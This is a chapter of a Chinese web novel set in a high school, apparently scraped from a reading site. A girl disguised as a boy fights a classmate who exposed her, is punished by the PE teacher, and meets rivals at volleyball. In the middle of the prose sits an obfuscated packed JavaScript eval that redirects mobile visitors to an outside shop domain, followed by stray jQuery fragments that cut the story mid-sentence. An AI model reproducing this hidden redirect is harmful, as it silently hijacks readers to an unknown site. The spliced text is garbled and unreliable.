傅金眼疾手快,一个翻身稳稳坐好,才没让头部接触地面。
她眼刀直射而去,却是看到几天没见的面孔。戴泽没在10班吭过声,傅金都忘了他也是10班的学生了。
这些狗男人竟然都喜欢用肩部撞人是吗?
什么癖好。
“怎么,你喜欢刁扬?还来给他报仇呢?”傅金套上鞋子站起身,绝不给对方俯视她的机会。
戴泽在旁边请假休息,也不知道悄无声息看了她多久:“你以为谁都像你一样恶心喜欢男的,祸害了我不够,连自己亲表弟都不放过?别以为你换了副打扮,就能跑得掉被学校里的人唾骂。”
他回想起论坛帖子中对傅金的评论,一股畅快划过。
“被人厌恶的感受不好受吧?我就是要让你尝尝我被你恶心的滋味,你现在承受的这些,也比不过我当初被你戏耍的痛苦!”
“你想多了,”傅金面无表情,丝毫没有戴泽想要的愤怒痛苦和伤心欲绝,“你们这样我压根看不上。”
戴泽被气得胸膛起伏,眼睛恶狠狠地死死盯着傅金,转而又嗤笑一声:“难不成你又转换目标了?”
他望了眼10班挡头带队的大高个。
“孟行?你该不会是又看上他了吧?你觉得他知道了你是个男同之后还会和你接触吗?”
“你以为把我曝光了,你不会被殃及吗?”傅金不欲争执,转身就走,想跟上队伍。
报道当天可是有不少人亲眼见过戴泽面目,就算戴泽隐去了自己的样貌和聊天记录,暴露也是迟早的事情。
原主确实伤害了戴泽,但对方当众羞辱她不够,还公之于众让原主成为众矢之的,这就是他的错了。
“常傅金!我痛苦你更别想好受!”傅金猛地被戴泽从后边拽住,男生双手禁锢住傅金的腰身,力气之大,傅金怀疑他要勒死自己。
“你不是说喜欢我爱我吗?你怎么能这么快转变心意!恶心完我还要欺骗我,你把我当做什么?常傅金,我真是想让你死!”戴泽手隐隐有往上趋势。
傅金女扮男装,夏天衣服穿的少,为了不被察觉出不对,必须在胸部裹束胸。
对暴露的后怕,让傅金条件反射地用胳膊朝后一抡——
“梆!”
这一下本能的攻击,傅金可没收着力气。
戴泽被击中面部连连后退,一手捂住自己的脸。转而另一手死死拽住傅金不让她离开现场,和她纠缠在一起。
“老师!有人打我,常傅金想让我死!老师!救命啊!”戴泽大声喊叫,他的声音回荡在体育馆内。
他打定主意要拖傅金下水。
为了保护自己不暴露,傅金不得不极力推搡如同膏药一样黏在她身上的人,防范他碰到不该碰的地方。
这样的场景落在别人眼里便是她和戴泽扭打在一起,她殴打戴泽。
傅金:“……”
气笑了,怎么还不按常理出牌呢?
老师原本正和孟行一起指挥带领着热身操,听到喊声后注意到这边情况:“孟行,你继续带好。”
交代后当即从远处跑过来,边跑边手指傅金两人:“干什么呢!打架的两个还不给我松开!想请家长还是记违纪!”
戴泽捂着脸对傅金露出一双阴翳的眼睛,在别人看不到的视角对她无声说:“你以为我会吃了这个哑巴亏?”
由孟行领操的学生们听到动静纷纷回头,孟行转身朝跑道望了一眼,担心一闪而逝,回神冲同学们喊了一声:“都回神!接下来是第三节。”
戴泽脸上被傅金肘击过的红痕不作假。
“殴打同班同学,”体育老师扫过傅金短袖领口挂着写着班级姓名的胸牌,“常傅金是吧?我给你两个选择,一:我上报高老师记违纪,二:你自行罚二十圈长跑,并且给戴同学道歉。”
戴泽做足了受害者模样站在老师身边,两人与傅金呈三角站位。
傅金抬头扫了一圈体育馆内的摄像头,这才发现他们脚下这一小片区域刚好在一个探头下巴底下,是死角。
戴泽这是打定了主意要搞她。
傅金抬眸,目光凌厉逼人,当着老师的面,两个大跨步一拳逼近,毫不犹豫砸上戴泽的眼眶!
“啊——”
戴泽眼眶顿时肉眼可见地青了一圈!
这下他的尖叫演技真实多了。
“!!!”
悄悄观战的学生们发出一阵惊呼!
不约而同停下动作,什么热身操都没有现场有人肉搏打架来得刺激。
老师没料到傅金当着他的面敢有这么个大胆的做法,眼皮一眨傅金便冲上去了,都没来得及伸手阻拦。
简直可以称之为挑衅。
他只能将傅金这个危险人物尽可能远地推离戴泽:“常傅金!我现在对你进行第二次警告!”
“既然你说我殴打你,那我总得让你说的话成真吧?”傅金也不带怂的,嗓音掷地有声,清晰落到每个人耳朵里。既然戴泽要搞她,她自然也不遑多让。“老师,就算是跑十公里我也认罚,但我绝不会给他道歉。”
老师和学生都被傅金言行举止给惊呆了:
“他怎么这么犟啊?”
“还特别横!”
“他这意思是戴泽冤枉他,所以他就直接给坐实了?他这个倔性子不像是网上那种油腻又卑微求着另一个奔现的样子啊?”
“网上那个纯属是一个娘娘腔。”
“恕我直言,那一拳属实是有点帅啊,他是不是练过啊?我看他速度又快又精准。”
“既然你不服,这里也没有监控,”老师看了看戴泽,接着转头看了看傅金,“你刚开始有没有打人我没看到,不好做定论。但是刚刚下的手同学们都亲眼看到了。”
他瞥过远处观察战况的同学们。
“我不会偏颇一方。常傅金,十公里不用,还是按照最初我对你的惩罚,二十圈八公里。你没意见吧?”
恰好这时候孟行跑过来,正正好听到老师对傅金的惩罚。
同学间的摩擦问题一般是老师解决,孟行没想到事态发展超乎预料,于是他让同学们就地休息,自己前来看看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696317|204750||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
情况。
“你叫个人带着这位同学去校医室处理一下伤处,”老师吩咐赶过来救场的孟行,“课程继续。”
傅金和孟行错了一个眼神。
紧接着重新上跑道,速战速决。
场上排球老师一身黑色运动服,排球在手上运着:“你们自行组队排球赛,仅做娱乐锻炼,安全第一。”
等傅金结束罚跑,别人都开始了小组赛,她一时间落单找不到人组队。
她只好自己在一块空闲场地琢磨着练练手,排球这种东西,也就中考时候练过,多少年没碰了。
南辰中学倒不是一味地只让学生傻读书,各种课外活动丰富,设施齐全,学生可以根据兴趣自行选择。
场边突然冒出几道身影:“常傅金,看你一个人怪可怜的,要不要我们做你队友?”
打眼一看他身后跟着的三个人,傅金回答:“我这边没有队友。”
“你当然没有队友了,以你现在的名声谁愿意和你站在一边?我看论坛上说你喜欢男的?真的假的啊?”
“真的啊,”傅金一脸无辜地看带头的男生,“不过你放心,我喜欢男的也看不上你。”
男生的讽刺话语不费吹灰之力被傅金的真诚化解,跟随的两个女生憋笑着交换眼神。
“我算是见识了什么叫做杞人忧天了。”一道颇为低沉朗然的男声骤然传来。
傅金回头,见是孟行和刘鸣锐并肩而来,出声的正是孟行,他毫不在意地边走边向上抛球,又精准无误地接住。
见来的人是孟行,语出不逊的男生不吭声了。
学校里的评价标准过于简单,在孟行绝对碾压的成绩和力量面前,哪怕到老师面前,以老师们喜爱孟行的程度,他不占优势讨不到好。
更别说他本就理亏。
“别以为我是特意来找你的,”孟行别扭地站到傅金旁边,“他们技术都不咋样,不过是你身高还算过得去,打排球还算是占上风而已。”
这别别扭扭的语气是干嘛?
傅金不自觉想笑:“孟同学,我有问你吗?”
“还算过得去?”刘鸣锐眼镜后的一双眼睛瞪大,走过来与傅金肩挨肩,一手比划身高差距,“整个班里除了你就数常傅金高了,也不知道你们干什么吃的窜这么高。”
“你懂什么,孟行自然是和别人不一样的。”白芸一张脸上同时写着不可一世与对孟行的星星眼崇拜。
下巴扬得老高,身后总是跟着想要和白家建立合作关系的跟班同学,不论在哪里,她都享受着众星拱月的待遇。
她目光时刻追着孟行,见对方到这边来就赶紧跟过来。她不信以她的样貌家室,以她白家对孟行父亲的助力,以她的真心,孟行会没眼光地丢下她去喜欢别人。
白芸一出现,傅金目光当即锁定她。
今天可是够热闹的。
小小场地站这么多人,还有白芸这么一尊大佛。
白芸,是在原主回常家的宴会上对原主下下三滥药物,命多人羞辱原主、致使原主落水死亡的第一大罪魁祸首。